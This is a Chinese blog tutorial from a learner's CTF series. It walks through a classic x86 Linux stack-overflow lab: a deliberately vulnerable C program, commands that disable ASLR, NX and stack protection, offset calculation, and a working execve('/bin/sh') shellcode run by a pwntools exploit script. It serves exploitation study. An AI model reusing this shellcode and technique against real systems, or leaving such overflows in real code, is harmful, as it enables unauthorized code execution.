PWN头秃之旅 - 5.经典栈溢出实验(linux_x86)

前两天无意间看到一篇大神的文章,里面讲了经典栈溢出,看完之后才发现咱屡战屡败的经典栈溢出实验除了偏移量计算问题,还有另外一个大坑>_<。预感这俩问题解决之后咱的经典栈溢出实验会迎来曙光~

为了减少不必要的麻烦,重新安装了32位ubuntu虚拟机,再按如下顺序安装pwntools: 

sudo apt-get install python-pip 
sudo apt-get install libffi-dev libssl-dev
pip install -U setuptools
pip install pwntools

pwntools安装成功:

找一段存在栈溢出漏洞的程序代码:

#!c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}
View Code

经典栈溢出实验的前提有两个:

1.关闭地址随机化,关闭方法如下:

echo 0 > /proc/sys/kernel/randomize_va_space

2.关闭NX和栈保护,因为要需要执行自己写的shellcode。在编译程序时加上参数-fno-stack-protector和-z execstack即可:

gcc -fno-stack-protector -z execstack -o level1 level1.c

 经典栈溢出的思路就是在程序存在缓冲区溢出时,通过覆盖返回地址来执行恶意shellcode。下面实验开始:

1. 计算偏移量

即计算从溢出点到函数返回点之间的偏移量。之前咱是通过慢慢累加参数长度直到程序溢出报错来找偏移量的(虽然很蠢,但是能找到)。其实可以用IDA来找:

        

偏移量=0x88+0x4=140字节,也就是说咱们需要填充140个字节,才能覆盖程序的返回地址。这里的偏移量必须计算得很精确,多一个少一个字节都不行!咱之前的失败就是没有加后面那4个字节。。。

2.shellcode的执行地址

这个程序不像前面的CTF题目已经给了现成的shellcode(如system,/bin/sh),所以需要自己来找到执行shellcode的内存地址。这里就是开头说的大坑,咱之前是通过gdb调试来找的,但是大神说gdb的调试环境会影响buf在内存中的位置,即使关闭ASLR,也只能保证buf的地址在gdb调试环境中不变,真正执行程序的时候,buf的位置会改变。

下面按照大神介绍的方法来找:

开启core dump:

ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

执行我们编译好的程序level1,输入140个字符:

进入tmp文件夹,看到tmp下生成了一个名为core.****的文件

 回到level1所在的文件夹,执行以下命令:

gdb level1 /tmp/core.1595989753

找到目标地址为:0xbfffef90,这个地址就是我们要找的shellcode的执行地址了~

3.构造shellcode

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

这段shellcode翻译过来就是这句话:execve ("/bin/sh")。execve函数和system函数的作用差不多。

4.编写攻击脚本

#!python
#!/usr/bin/env python
from pwn import *

p = process('./level1') 
ret = 0xbfffef90

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)

print payload 

p.send(payload) 

p.interactive()  
View Code

脚本执行:

终于成功了啦啦啦(~ ̄▽ ̄)~,大神不愧为大神,给大神点赞o( ̄▽ ̄)d 

最后附上大神的文章链接:http://www.vuln.cn/6645

如需转载,请注明出处,这是对他人劳动成果的尊重~ 

猜你喜欢

转载自www.cnblogs.com/sallyzhang/p/13390655.html
今日推荐